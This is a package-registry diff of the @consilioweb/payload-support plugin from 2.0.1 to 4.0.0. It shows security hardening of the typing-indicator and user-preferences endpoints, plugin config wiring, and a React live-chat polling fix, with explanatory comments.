@consilioweb/payload-support 2.0.1 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +670 -402
- package/dist/components/RichTextEditor/index.d.ts +19 -0
- package/dist/components/TicketConversation/RewriteDropdown.d.ts +6 -0
- package/dist/components/TicketConversation/SkeletonText.d.ts +4 -0
- package/dist/components/TicketConversation/components/AISummaryPanel.d.ts +14 -0
- package/dist/components/TicketConversation/components/ActionPanels.d.ts +47 -0
- package/dist/components/TicketConversation/components/ActivityLog.d.ts +5 -0
- package/dist/components/TicketConversation/components/ClientBar.d.ts +5 -0
- package/dist/components/TicketConversation/components/ClientHistory.d.ts +24 -0
- package/dist/components/TicketConversation/components/CodeBlock.d.ts +26 -0
- package/dist/components/TicketConversation/components/CodeBlockInserter.d.ts +12 -0
- package/dist/components/TicketConversation/components/QuickActions.d.ts +32 -0
- package/dist/components/TicketConversation/components/TicketHeader.d.ts +19 -0
- package/dist/components/TicketConversation/components/TimeTrackingPanel.d.ts +24 -0
- package/dist/components/TicketConversation/config.d.ts +10 -0
- package/dist/components/TicketConversation/config.js +1 -40
- package/dist/components/TicketConversation/constants.d.ts +56 -0
- package/dist/components/TicketConversation/context.d.ts +53 -0
- package/dist/components/TicketConversation/hooks/useAI.d.ts +21 -0
- package/dist/components/TicketConversation/hooks/useDocumentIdFromUrl.d.ts +3 -0
- package/dist/components/TicketConversation/hooks/useFeatures.d.ts +23 -0
- package/dist/components/TicketConversation/hooks/useFeatures.js +61 -0
- package/dist/components/TicketConversation/hooks/useMessageActions.d.ts +20 -0
- package/dist/components/TicketConversation/hooks/useReply.d.ts +27 -0
- package/dist/components/TicketConversation/hooks/useTicketActions.d.ts +58 -0
- package/dist/components/TicketConversation/hooks/useTimeTracking.d.ts +18 -0
- package/dist/components/TicketConversation/hooks/useTranslation.d.ts +33 -0
- package/dist/components/TicketConversation/index.d.ts +4 -0
- package/dist/components/TicketConversation/index.js +2 -2
- package/dist/components/TicketConversation/types.d.ts +56 -0
- package/dist/components/TicketConversation/utils.d.ts +2 -0
- package/dist/index.cjs +940 -404
- package/dist/index.d.cts +119 -7
- package/dist/index.d.ts +119 -7
- package/dist/index.js +936 -405
- package/dist/utils/features.d.ts +123 -0
- package/dist/utils/features.js +147 -0
- package/dist/views/BillingView/client.d.ts +2 -0
- package/dist/views/BillingView/index.d.ts +4 -0
- package/dist/views/ChatView/client.d.ts +2 -0
- package/dist/views/ChatView/client.js +9 -9
- package/dist/views/ChatView/index.d.ts +4 -0
- package/dist/views/CrmView/client.d.ts +2 -0
- package/dist/views/CrmView/client.js +6 -9
- package/dist/views/CrmView/index.d.ts +4 -0
- package/dist/views/EmailTrackingView/client.d.ts +2 -0
- package/dist/views/EmailTrackingView/index.d.ts +4 -0
- package/dist/views/ImportConversationView/client.d.ts +2 -0
- package/dist/views/ImportConversationView/index.d.ts +4 -0
- package/dist/views/LogsView/client.d.ts +2 -0
- package/dist/views/LogsView/index.d.ts +4 -0
- package/dist/views/NewTicketView/client.d.ts +2 -0
- package/dist/views/NewTicketView/index.d.ts +4 -0
- package/dist/views/PendingEmailsView/client.d.ts +2 -0
- package/dist/views/PendingEmailsView/index.d.ts +4 -0
- package/dist/views/SupportDashboardView/client.d.ts +2 -0
- package/dist/views/SupportDashboardView/index.d.ts +4 -0
- package/dist/views/TicketDetailView/NextActionItem.d.ts +6 -0
- package/dist/views/TicketDetailView/RewriteDropdown.d.ts +7 -0
- package/dist/views/TicketDetailView/client.d.ts +2 -0
- package/dist/views/TicketDetailView/client.js +2 -2
- package/dist/views/TicketDetailView/constants.d.ts +13 -0
- package/dist/views/TicketDetailView/helpers.d.ts +2 -0
- package/dist/views/TicketDetailView/index.d.ts +4 -0
- package/dist/views/TicketDetailView/types.d.ts +40 -0
- package/dist/views/TicketInboxView/client.d.ts +2 -0
- package/dist/views/TicketInboxView/client.js +5 -5
- package/dist/views/TicketInboxView/index.d.ts +4 -0
- package/dist/views/TicketingSettingsView/client.d.ts +2 -0
- package/dist/views/TicketingSettingsView/client.js +5 -4
- package/dist/views/TicketingSettingsView/index.d.ts +4 -0
- package/dist/views/TimeDashboardView/client.d.ts +2 -0
- package/dist/views/TimeDashboardView/index.d.ts +4 -0
- package/dist/views/shared/AdminViewHeader.d.ts +13 -0
- package/dist/views/shared/ErrorBoundary.d.ts +17 -0
- package/dist/views/shared/Skeleton.d.ts +21 -0
- package/dist/views/shared/StatusPill.d.ts +8 -0
- package/dist/views/shared/adminTokens.d.ts +19 -0
- package/dist/views/shared/config.d.ts +8 -0
- package/dist/views/shared/config.js +1 -40
- package/dist/views/shared/dateLocale.d.ts +5 -0
- package/dist/views/shared/index.d.ts +12 -0
- package/dist/views/shared/index.js +2 -1
- package/dist/views/shared/sla.d.ts +14 -0
- package/dist/views.d.ts +13 -13
- package/package.json +16 -31
- package/src/collections/ChatMessages.ts +59 -2
- package/src/collections/ClientSummaries.ts +10 -4
- package/src/collections/SupportClients.ts +29 -0
- package/src/collections/TicketCollaborators.ts +6 -1
- package/src/collections/TicketMessages.ts +49 -24
- package/src/collections/Tickets.ts +117 -79
- package/src/collections/TimeEntries.ts +57 -32
- package/src/collections/WebhookEndpoints.ts +44 -2
- package/src/components/TicketConversation/config.ts +16 -80
- package/src/components/TicketConversation/hooks/useFeatures.ts +109 -0
- package/src/components/TicketConversation/index.tsx +2 -2
- package/src/endpoints/admin-chat.ts +3 -3
- package/src/endpoints/ai-agent.ts +3 -3
- package/src/endpoints/ai.ts +5 -4
- package/src/endpoints/auth-2fa.ts +16 -4
- package/src/endpoints/capabilities.ts +6 -6
- package/src/endpoints/chat.ts +7 -5
- package/src/endpoints/chatbot.ts +48 -2
- package/src/endpoints/client-intelligence.ts +6 -5
- package/src/endpoints/email-stats.ts +19 -3
- package/src/endpoints/import-conversation.ts +1 -1
- package/src/endpoints/index.ts +1 -1
- package/src/endpoints/invite-collaborator.ts +29 -3
- package/src/endpoints/login.ts +15 -2
- package/src/endpoints/oauth-google.ts +130 -8
- package/src/endpoints/process-scheduled.ts +13 -8
- package/src/endpoints/resend-notification.ts +3 -3
- package/src/endpoints/round-robin-config.ts +30 -20
- package/src/endpoints/send-reminder.ts +3 -3
- package/src/endpoints/settings.ts +28 -77
- package/src/endpoints/signature.ts +9 -2
- package/src/endpoints/ticket-synthesis.ts +3 -3
- package/src/endpoints/transfer-ticket.ts +28 -3
- package/src/endpoints/typing.ts +117 -14
- package/src/endpoints/user-prefs.ts +5 -2
- package/src/index.ts +6 -2
- package/src/plugin.ts +12 -0
- package/src/portal/LiveChat.tsx +33 -22
- package/src/portal/auth/layout.tsx +19 -1
- package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
- package/src/portal/auth/tickets/detail/TicketPolling.tsx +5 -1
- package/src/portal/auth/tickets/detail/page.tsx +2 -6
- package/src/portal/login/page.tsx +11 -3
- package/src/types/lucide-react.d.ts +10 -2
- package/src/utils/aiAgent.ts +2 -1
- package/src/utils/aiProvider.ts +21 -0
- package/src/utils/features.ts +297 -0
- package/src/utils/fireWebhooks.ts +10 -1
- package/src/utils/generateTicketSynthesis.ts +2 -1
- package/src/utils/index.ts +4 -2
- package/src/utils/rateLimiter.ts +39 -5
- package/src/utils/readSettings.ts +199 -16
- package/src/utils/ticketAccess.ts +16 -1
- package/src/utils/twoFactorChallenge.ts +80 -0
- package/src/utils/urlSafety.ts +230 -0
- package/src/utils/webhookDispatcher.ts +24 -8
- package/src/views/ChatView/client.tsx +13 -9
- package/src/views/CrmView/client.tsx +10 -11
- package/src/views/TicketDetailView/client.tsx +2 -2
- package/src/views/TicketInboxView/client.tsx +10 -5
- package/src/views/TicketingSettingsView/client.tsx +8 -6
- package/src/views/shared/config.ts +14 -80
- package/src/views/shared/index.ts +3 -1
- package/dist/components/RichTextEditor/index.cjs +0 -279
- package/dist/components/TicketConversation/RewriteDropdown.cjs +0 -98
- package/dist/components/TicketConversation/SkeletonText.cjs +0 -21
- package/dist/components/TicketConversation/components/AISummaryPanel.cjs +0 -85
- package/dist/components/TicketConversation/components/ActionPanels.cjs +0 -193
- package/dist/components/TicketConversation/components/ActivityLog.cjs +0 -24
- package/dist/components/TicketConversation/components/ClientBar.cjs +0 -43
- package/dist/components/TicketConversation/components/ClientHistory.cjs +0 -138
- package/dist/components/TicketConversation/components/CodeBlock.cjs +0 -171
- package/dist/components/TicketConversation/components/CodeBlockInserter.cjs +0 -156
- package/dist/components/TicketConversation/components/QuickActions.cjs +0 -87
- package/dist/components/TicketConversation/components/TicketHeader.cjs +0 -93
- package/dist/components/TicketConversation/components/TimeTrackingPanel.cjs +0 -134
- package/dist/components/TicketConversation/config.cjs +0 -44
- package/dist/components/TicketConversation/constants.cjs +0 -127
- package/dist/components/TicketConversation/context.cjs +0 -13
- package/dist/components/TicketConversation/hooks/useAI.cjs +0 -196
- package/dist/components/TicketConversation/hooks/useDocumentIdFromUrl.cjs +0 -20
- package/dist/components/TicketConversation/hooks/useMessageActions.cjs +0 -136
- package/dist/components/TicketConversation/hooks/useReply.cjs +0 -188
- package/dist/components/TicketConversation/hooks/useTicketActions.cjs +0 -290
- package/dist/components/TicketConversation/hooks/useTimeTracking.cjs +0 -123
- package/dist/components/TicketConversation/hooks/useTranslation.cjs +0 -101
- package/dist/components/TicketConversation/index.cjs +0 -1114
- package/dist/components/TicketConversation/types.cjs +0 -2
- package/dist/components/TicketConversation/utils.cjs +0 -27
- package/dist/views/BillingView/client.cjs +0 -469
- package/dist/views/BillingView/index.cjs +0 -34
- package/dist/views/ChatView/client.cjs +0 -301
- package/dist/views/ChatView/index.cjs +0 -34
- package/dist/views/CrmView/client.cjs +0 -458
- package/dist/views/CrmView/index.cjs +0 -34
- package/dist/views/EmailTrackingView/client.cjs +0 -171
- package/dist/views/EmailTrackingView/index.cjs +0 -34
- package/dist/views/ImportConversationView/client.cjs +0 -238
- package/dist/views/ImportConversationView/index.cjs +0 -34
- package/dist/views/LogsView/client.cjs +0 -148
- package/dist/views/LogsView/index.cjs +0 -32
- package/dist/views/NewTicketView/client.cjs +0 -213
- package/dist/views/NewTicketView/index.cjs +0 -32
- package/dist/views/PendingEmailsView/client.cjs +0 -471
- package/dist/views/PendingEmailsView/index.cjs +0 -34
- package/dist/views/SupportDashboardView/client.cjs +0 -437
- package/dist/views/SupportDashboardView/index.cjs +0 -34
- package/dist/views/TicketDetailView/NextActionItem.cjs +0 -40
- package/dist/views/TicketDetailView/RewriteDropdown.cjs +0 -80
- package/dist/views/TicketDetailView/client.cjs +0 -1412
- package/dist/views/TicketDetailView/constants.cjs +0 -20
- package/dist/views/TicketDetailView/helpers.cjs +0 -23
- package/dist/views/TicketDetailView/index.cjs +0 -34
- package/dist/views/TicketDetailView/types.cjs +0 -2
- package/dist/views/TicketInboxView/client.cjs +0 -359
- package/dist/views/TicketInboxView/index.cjs +0 -32
- package/dist/views/TicketingSettingsView/client.cjs +0 -740
- package/dist/views/TicketingSettingsView/index.cjs +0 -34
- package/dist/views/TimeDashboardView/client.cjs +0 -180
- package/dist/views/TimeDashboardView/index.cjs +0 -34
- package/dist/views/shared/AdminViewHeader.cjs +0 -68
- package/dist/views/shared/ErrorBoundary.cjs +0 -55
- package/dist/views/shared/Skeleton.cjs +0 -77
- package/dist/views/shared/StatusPill.cjs +0 -47
- package/dist/views/shared/adminTokens.cjs +0 -34
- package/dist/views/shared/config.cjs +0 -44
- package/dist/views/shared/dateLocale.cjs +0 -5
- package/dist/views/shared/index.cjs +0 -72
- package/dist/views/shared/sla.cjs +0 -37
- package/dist/views.cjs +0 -86
- package/dist/views.d.cts +0 -13
- package/src/__tests__/aiSummaryRendering.test.ts +0 -21
- package/src/__tests__/authResponses.test.ts +0 -69
- package/src/__tests__/capabilities.test.ts +0 -71
- package/src/__tests__/generateTrackingToken.test.ts +0 -67
- package/src/__tests__/integration/ai-agent.test.ts +0 -46
- package/src/__tests__/integration/auth.test.ts +0 -43
- package/src/__tests__/integration/automation-rules.test.ts +0 -68
- package/src/__tests__/integration/buildTestPayload.ts +0 -52
- package/src/__tests__/integration/channels.test.ts +0 -52
- package/src/__tests__/integration/core-behaviors.test.ts +0 -81
- package/src/__tests__/integration/dashboard-volume.test.ts +0 -31
- package/src/__tests__/integration/digest.test.ts +0 -48
- package/src/__tests__/integration/invoice-pdf.test.ts +0 -30
- package/src/__tests__/integration/isolation.test.ts +0 -81
- package/src/__tests__/integration/mentions-invoice.test.ts +0 -50
- package/src/__tests__/integration/nps.test.ts +0 -37
- package/src/__tests__/integration/per-team-sla.test.ts +0 -44
- package/src/__tests__/integration/push.test.ts +0 -75
- package/src/__tests__/integration/sanitization.test.ts +0 -35
- package/src/__tests__/integration/sla-pause.test.ts +0 -39
- package/src/__tests__/integration/smoke.test.ts +0 -26
- package/src/__tests__/integration/snooze.test.ts +0 -68
- package/src/__tests__/integration/teams.test.ts +0 -38
- package/src/__tests__/rateLimiter.test.ts +0 -83
- package/src/__tests__/sanitizeHtml.test.ts +0 -165
- package/src/__tests__/sla.test.ts +0 -258
- package/src/__tests__/trackOpenEndpoint.test.ts +0 -54
- package/src/__tests__/translations.test.ts +0 -67
- package/src/__tests__/webhookSecurity.test.ts +0 -58
package/src/endpoints/typing.ts
CHANGED
|
@@ -1,10 +1,36 @@
|
|
|
1
|
-
import type { Endpoint } from 'payload'
|
|
1
|
+
import type { Endpoint, PayloadRequest } from 'payload'
|
|
2
2
|
import type { CollectionSlugs } from '../utils/slugs'
|
|
3
|
+
import { dbFindByID } from '../utils/db'
|
|
3
4
|
|
|
4
|
-
|
|
5
|
+
/**
|
|
6
|
+
* Ephemeral "someone is typing" state, process-local.
|
|
7
|
+
*
|
|
8
|
+
* Three properties this map MUST keep, because it is fed by an HTTP endpoint:
|
|
9
|
+
* - keys are shaped like ticket ids, never a caller-supplied blob;
|
|
10
|
+
* - a key is only created by a principal that can actually READ that ticket;
|
|
11
|
+
* - the map is bounded, and expired entries are reclaimed without depending on
|
|
12
|
+
* a matching GET (`cleanExpired` used to run only on the read path, for the
|
|
13
|
+
* single id being read — nothing ever swept the rest).
|
|
14
|
+
*/
|
|
5
15
|
const typingState = new Map<string, { admin?: number; client?: number; adminName?: string; clientName?: string }>()
|
|
6
16
|
|
|
7
17
|
const TYPING_TTL = 5000 // 5 seconds
|
|
18
|
+
/** Hard ceiling on distinct ticket ids held at once — the state lives 5s. */
|
|
19
|
+
const MAX_TYPING_KEYS = 500
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Ids are integers on SQL adapters and hex ObjectIds on Mongo, so the shape is
|
|
23
|
+
* validated rather than the type: printable id characters, bounded length. This
|
|
24
|
+
* caps the key SIZE; the access check below caps their NUMBER.
|
|
25
|
+
*/
|
|
26
|
+
const TICKET_ID_PATTERN = /^[A-Za-z0-9_-]{1,64}$/
|
|
27
|
+
|
|
28
|
+
function normalizeTicketId(raw: unknown): string | null {
|
|
29
|
+
if (typeof raw === 'number') return Number.isInteger(raw) && raw > 0 ? String(raw) : null
|
|
30
|
+
if (typeof raw !== 'string') return null
|
|
31
|
+
const value = raw.trim()
|
|
32
|
+
return TICKET_ID_PATTERN.test(value) ? value : null
|
|
33
|
+
}
|
|
8
34
|
|
|
9
35
|
function cleanExpired(ticketId: string) {
|
|
10
36
|
const state = typingState.get(ticketId)
|
|
@@ -21,6 +47,53 @@ function cleanExpired(ticketId: string) {
|
|
|
21
47
|
if (!state.admin && !state.client) typingState.delete(ticketId)
|
|
22
48
|
}
|
|
23
49
|
|
|
50
|
+
/** Reclaims every expired entry — the map is at most MAX_TYPING_KEYS long. */
|
|
51
|
+
function sweepExpired() {
|
|
52
|
+
for (const key of Array.from(typingState.keys())) cleanExpired(key)
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
/** Oldest signal first, so the ceiling evicts the least recently active ticket. */
|
|
56
|
+
function evictOldest() {
|
|
57
|
+
let oldestKey: string | null = null
|
|
58
|
+
let oldestTs = Infinity
|
|
59
|
+
for (const [key, state] of typingState) {
|
|
60
|
+
const ts = Math.max(state.admin || 0, state.client || 0)
|
|
61
|
+
if (ts < oldestTs) {
|
|
62
|
+
oldestTs = ts
|
|
63
|
+
oldestKey = key
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
if (oldestKey !== null) typingState.delete(oldestKey)
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/**
|
|
70
|
+
* Can this principal see this ticket? Delegates to the `tickets` collection
|
|
71
|
+
* access rules — the SAME source of truth the rest of the plugin reads through
|
|
72
|
+
* (owner, collaborator, team scoping), instead of a second implementation that
|
|
73
|
+
* would drift from it. Any other auth collection of the host app is refused
|
|
74
|
+
* outright: the endpoint only ever spoke for staff and support-clients.
|
|
75
|
+
*/
|
|
76
|
+
async function mayAccessTicket(
|
|
77
|
+
req: PayloadRequest,
|
|
78
|
+
slugs: CollectionSlugs,
|
|
79
|
+
ticketId: string,
|
|
80
|
+
): Promise<boolean> {
|
|
81
|
+
const collection = (req.user as { collection?: string } | null)?.collection
|
|
82
|
+
if (collection !== slugs.users && collection !== slugs.supportClients) return false
|
|
83
|
+
try {
|
|
84
|
+
const doc = await dbFindByID(req.payload, slugs.tickets, {
|
|
85
|
+
id: ticketId,
|
|
86
|
+
depth: 0,
|
|
87
|
+
overrideAccess: false,
|
|
88
|
+
user: req.user,
|
|
89
|
+
})
|
|
90
|
+
return !!doc
|
|
91
|
+
} catch {
|
|
92
|
+
// Forbidden or NotFound — same answer either way, so no existence oracle.
|
|
93
|
+
return false
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
24
97
|
/**
|
|
25
98
|
* POST /api/support/typing — Signal that user is typing
|
|
26
99
|
*/
|
|
@@ -34,14 +107,23 @@ export function createTypingPostEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
34
107
|
return Response.json({ error: 'Unauthorized' }, { status: 401 })
|
|
35
108
|
}
|
|
36
109
|
|
|
37
|
-
const { ticketId } = (await req.json!()) as { ticketId
|
|
38
|
-
|
|
110
|
+
const { ticketId } = (await req.json!()) as { ticketId?: unknown }
|
|
111
|
+
const key = normalizeTicketId(ticketId)
|
|
112
|
+
if (!key) {
|
|
39
113
|
return Response.json({ error: 'ticketId required' }, { status: 400 })
|
|
40
114
|
}
|
|
41
115
|
|
|
42
|
-
|
|
116
|
+
if (!(await mayAccessTicket(req, slugs, key))) {
|
|
117
|
+
return Response.json({ error: 'Forbidden' }, { status: 403 })
|
|
118
|
+
}
|
|
119
|
+
|
|
43
120
|
const state = typingState.get(key) || {}
|
|
44
121
|
|
|
122
|
+
if (!typingState.has(key) && typingState.size >= MAX_TYPING_KEYS) {
|
|
123
|
+
sweepExpired()
|
|
124
|
+
if (typingState.size >= MAX_TYPING_KEYS) evictOldest()
|
|
125
|
+
}
|
|
126
|
+
|
|
45
127
|
if (req.user.collection === slugs.users) {
|
|
46
128
|
state.admin = Date.now()
|
|
47
129
|
state.adminName = (req.user as any).firstName || 'Support'
|
|
@@ -67,35 +149,56 @@ export function createTypingGetEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
67
149
|
path: '/support/typing',
|
|
68
150
|
method: 'get',
|
|
69
151
|
handler: async (req) => {
|
|
152
|
+
const idle = { typing: false, name: null }
|
|
70
153
|
try {
|
|
71
154
|
if (!req.user) {
|
|
72
155
|
return Response.json({ error: 'Unauthorized' }, { status: 401 })
|
|
73
156
|
}
|
|
74
157
|
|
|
75
158
|
const url = new URL(req.url!)
|
|
76
|
-
const
|
|
77
|
-
if (!
|
|
159
|
+
const key = normalizeTicketId(url.searchParams.get('ticketId'))
|
|
160
|
+
if (!key) {
|
|
78
161
|
return Response.json({ error: 'ticketId required' }, { status: 400 })
|
|
79
162
|
}
|
|
80
163
|
|
|
81
|
-
cleanExpired(
|
|
82
|
-
const state = typingState.get(
|
|
164
|
+
cleanExpired(key)
|
|
165
|
+
const state = typingState.get(key)
|
|
166
|
+
|
|
167
|
+
// Nothing to disclose: answer without touching the database. A caller
|
|
168
|
+
// with no right to the ticket gets this exact body too, so "idle" and
|
|
169
|
+
// "not yours" stay indistinguishable — and the 2s poll of every open
|
|
170
|
+
// ticket page costs no query in the common case.
|
|
171
|
+
if (!state) return Response.json(idle)
|
|
172
|
+
|
|
173
|
+
// There IS a name to hand out (the agent's first name, historically
|
|
174
|
+
// served to any authenticated caller for any ticket id) — check first.
|
|
175
|
+
if (!(await mayAccessTicket(req, slugs, key))) return Response.json(idle)
|
|
83
176
|
|
|
84
177
|
// Admin sees client typing, client sees admin typing
|
|
85
178
|
if (req.user.collection === slugs.users) {
|
|
86
179
|
return Response.json({
|
|
87
|
-
typing: !!state
|
|
88
|
-
name: state
|
|
180
|
+
typing: !!state.client,
|
|
181
|
+
name: state.clientName || null,
|
|
89
182
|
})
|
|
90
183
|
} else {
|
|
91
184
|
return Response.json({
|
|
92
|
-
typing: !!state
|
|
93
|
-
name: state
|
|
185
|
+
typing: !!state.admin,
|
|
186
|
+
name: state.adminName || null,
|
|
94
187
|
})
|
|
95
188
|
}
|
|
96
189
|
} catch {
|
|
97
|
-
return Response.json(
|
|
190
|
+
return Response.json(idle)
|
|
98
191
|
}
|
|
99
192
|
},
|
|
100
193
|
}
|
|
101
194
|
}
|
|
195
|
+
|
|
196
|
+
/** Test seam — the module-level map must not leak state across test cases. */
|
|
197
|
+
export function __resetTypingStateForTests(): void {
|
|
198
|
+
typingState.clear()
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
/** Test seam — the ceiling is the point of the fix, so it must be observable. */
|
|
202
|
+
export function __typingStateSizeForTests(): number {
|
|
203
|
+
return typingState.size
|
|
204
|
+
}
|
|
@@ -30,8 +30,11 @@ export function createUserPrefsGetEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
30
30
|
|
|
31
31
|
const key = `${PREF_KEY_PREFIX}-${req.user!.id}`
|
|
32
32
|
|
|
33
|
+
// Scope to the staff auth collection: `payload-preferences` accepts a
|
|
34
|
+
// write from ANY authenticated principal, and ids collide between auth
|
|
35
|
+
// collections.
|
|
33
36
|
const prefs = await dbFind(payload, 'payload-preferences', {
|
|
34
|
-
where: { key: { equals: key } },
|
|
37
|
+
where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
|
|
35
38
|
limit: 1,
|
|
36
39
|
depth: 0,
|
|
37
40
|
overrideAccess: true,
|
|
@@ -75,7 +78,7 @@ export function createUserPrefsPostEndpoint(slugs: CollectionSlugs): Endpoint {
|
|
|
75
78
|
|
|
76
79
|
// Read existing prefs to merge
|
|
77
80
|
const existing = await dbFind(payload, 'payload-preferences', {
|
|
78
|
-
where: { key: { equals: key } },
|
|
81
|
+
where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
|
|
79
82
|
limit: 1,
|
|
80
83
|
depth: 0,
|
|
81
84
|
overrideAccess: true,
|
package/src/index.ts
CHANGED
|
@@ -21,8 +21,12 @@ export { DEFAULT_FEATURES } from './types'
|
|
|
21
21
|
// Utils
|
|
22
22
|
export { resolveSlugs, DEFAULT_SLUGS } from './utils/slugs'
|
|
23
23
|
export type { CollectionSlugs } from './utils/slugs'
|
|
24
|
-
export { readSupportSettings, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
|
|
25
|
-
export type { SupportSettings, UserPrefs } from './utils/readSettings'
|
|
24
|
+
export { readSupportSettings, readSupportSettingsState, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
|
|
25
|
+
export type { SupportSettings, SupportSettingsState, UserPrefs } from './utils/readSettings'
|
|
26
|
+
// Runtime feature flags (server-authoritative, see utils/features.ts). Distinct
|
|
27
|
+
// from the build-time `SupportFeatures` passed to `supportPlugin()`.
|
|
28
|
+
export { DEFAULT_TICKETING_FEATURES, normalizeFeatures, projectAutoClose, stripProjectedFeatures } from './utils/features'
|
|
29
|
+
export type { TicketingFeatures } from './utils/features'
|
|
26
30
|
export { MemoryRateLimitStore, PayloadRateLimitStore, RateLimiter } from './utils/rateLimiter'
|
|
27
31
|
export type { RateLimitEntry, RateLimitStore } from './utils/rateLimiter'
|
|
28
32
|
export { DEFAULT_INBOUND_EMAIL_LIMITS, validateInboundEmailPayload, verifySecret } from './utils/webhookSecurity'
|
package/src/plugin.ts
CHANGED
|
@@ -31,6 +31,7 @@ import {
|
|
|
31
31
|
createSupportCountersCollection,
|
|
32
32
|
} from './collections'
|
|
33
33
|
import { PayloadRateLimitStore } from './utils/rateLimiter'
|
|
34
|
+
import { SUPPORT_STAFF_SLUG_CONFIG_KEY } from './utils/readSettings'
|
|
34
35
|
|
|
35
36
|
function viewConfig(component: string, path: string): AdminViewConfig {
|
|
36
37
|
return { Component: component, path: path as `/${string}` }
|
|
@@ -169,6 +170,17 @@ export function supportPlugin(config?: SupportPluginConfig): Plugin {
|
|
|
169
170
|
|
|
170
171
|
return {
|
|
171
172
|
...incomingConfig,
|
|
173
|
+
// Publish the resolved staff collection so the server-side readers share
|
|
174
|
+
// ONE source of truth with the writers. `requireAdmin` compares against
|
|
175
|
+
// `slugs.users`; the `payload-preferences` reads used to scope themselves
|
|
176
|
+
// on `config.admin.user`, which Payload silently defaults to the first
|
|
177
|
+
// auth collection of the host app — a different collection on any app
|
|
178
|
+
// that declares `collectionSlugs.users`, and the settings-poisoning hole
|
|
179
|
+
// reopened right there.
|
|
180
|
+
custom: {
|
|
181
|
+
...incomingConfig.custom,
|
|
182
|
+
[SUPPORT_STAFF_SLUG_CONFIG_KEY]: slugs.users,
|
|
183
|
+
},
|
|
172
184
|
collections: config?.skipCollections
|
|
173
185
|
? existingCollections
|
|
174
186
|
: [...existingCollections, ...supportCollections],
|
package/src/portal/LiveChat.tsx
CHANGED
|
@@ -29,6 +29,13 @@ export function LiveChat() {
|
|
|
29
29
|
const lastFetchRef = useRef<string | null>(null)
|
|
30
30
|
const inputRef = useRef<HTMLInputElement>(null)
|
|
31
31
|
const pollIntervalRef = useRef<ReturnType<typeof setTimeout> | null>(null)
|
|
32
|
+
// Mirror of `messages`. The poll decision (and the unread badge) MUST be taken
|
|
33
|
+
// outside the setMessages updater: React skips the updater on the eager-state
|
|
34
|
+
// path, so a flag assigned inside it is only ever written on the very first
|
|
35
|
+
// update — after which `hasNewMessages` stays false, the adaptive backoff climbs
|
|
36
|
+
// to its 30 s ceiling and never comes back down, mid-conversation. Same pattern
|
|
37
|
+
// as ChatWidget.tsx.
|
|
38
|
+
const messagesRef = useRef<ChatMessage[]>([])
|
|
32
39
|
|
|
33
40
|
// Load session from localStorage on mount
|
|
34
41
|
useEffect(() => {
|
|
@@ -42,6 +49,7 @@ export function LiveChat() {
|
|
|
42
49
|
|
|
43
50
|
// Auto-scroll to bottom when messages change
|
|
44
51
|
useEffect(() => {
|
|
52
|
+
messagesRef.current = messages
|
|
45
53
|
messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' })
|
|
46
54
|
}, [messages])
|
|
47
55
|
|
|
@@ -61,31 +69,32 @@ export function LiveChat() {
|
|
|
61
69
|
|
|
62
70
|
const data = await res.json()
|
|
63
71
|
if (data.messages?.length > 0) {
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
)
|
|
79
|
-
if (agentNewMsgs.length > 0) {
|
|
80
|
-
setUnreadCount((prev) => prev + agentNewMsgs.length)
|
|
81
|
-
}
|
|
72
|
+
const existingIds = new Set(messagesRef.current.map((m) => String(m.id)))
|
|
73
|
+
const newMsgs: ChatMessage[] = data.messages.filter(
|
|
74
|
+
(m: ChatMessage) => !existingIds.has(String(m.id)),
|
|
75
|
+
)
|
|
76
|
+
lastFetchRef.current = data.messages[data.messages.length - 1].createdAt
|
|
77
|
+
if (newMsgs.length === 0) return false
|
|
78
|
+
|
|
79
|
+
// Count agent messages as unread if chat panel is closed. Kept OUT of the
|
|
80
|
+
// updater: nesting a setState there also double-counted the badge under
|
|
81
|
+
// StrictMode's double invocation in dev.
|
|
82
|
+
if (screen === 'closed') {
|
|
83
|
+
const agentNewMsgs = newMsgs.filter((m) => m.senderType === 'agent')
|
|
84
|
+
if (agentNewMsgs.length > 0) {
|
|
85
|
+
setUnreadCount((prev) => prev + agentNewMsgs.length)
|
|
82
86
|
}
|
|
87
|
+
}
|
|
83
88
|
|
|
84
|
-
|
|
89
|
+
setMessages((prev) => {
|
|
90
|
+
// Re-dedupe against the authoritative state: the mirror can lag by one
|
|
91
|
+
// commit if a message was appended optimistically in the meantime.
|
|
92
|
+
const prevIds = new Set(prev.map((m) => String(m.id)))
|
|
93
|
+
const trulyNew = newMsgs.filter((m) => !prevIds.has(String(m.id)))
|
|
94
|
+
if (trulyNew.length === 0) return prev
|
|
95
|
+
return [...prev, ...trulyNew]
|
|
85
96
|
})
|
|
86
|
-
|
|
87
|
-
data.messages[data.messages.length - 1].createdAt
|
|
88
|
-
return hadNewMessages
|
|
97
|
+
return true
|
|
89
98
|
}
|
|
90
99
|
return false
|
|
91
100
|
} catch {
|
|
@@ -127,6 +136,8 @@ export function LiveChat() {
|
|
|
127
136
|
// If we have a session, fetch messages
|
|
128
137
|
if (session.sessionId) {
|
|
129
138
|
lastFetchRef.current = null
|
|
139
|
+
// Synchronous too: pollMessages() runs before the mirroring effect commits.
|
|
140
|
+
messagesRef.current = []
|
|
130
141
|
setMessages([])
|
|
131
142
|
pollMessages()
|
|
132
143
|
}
|
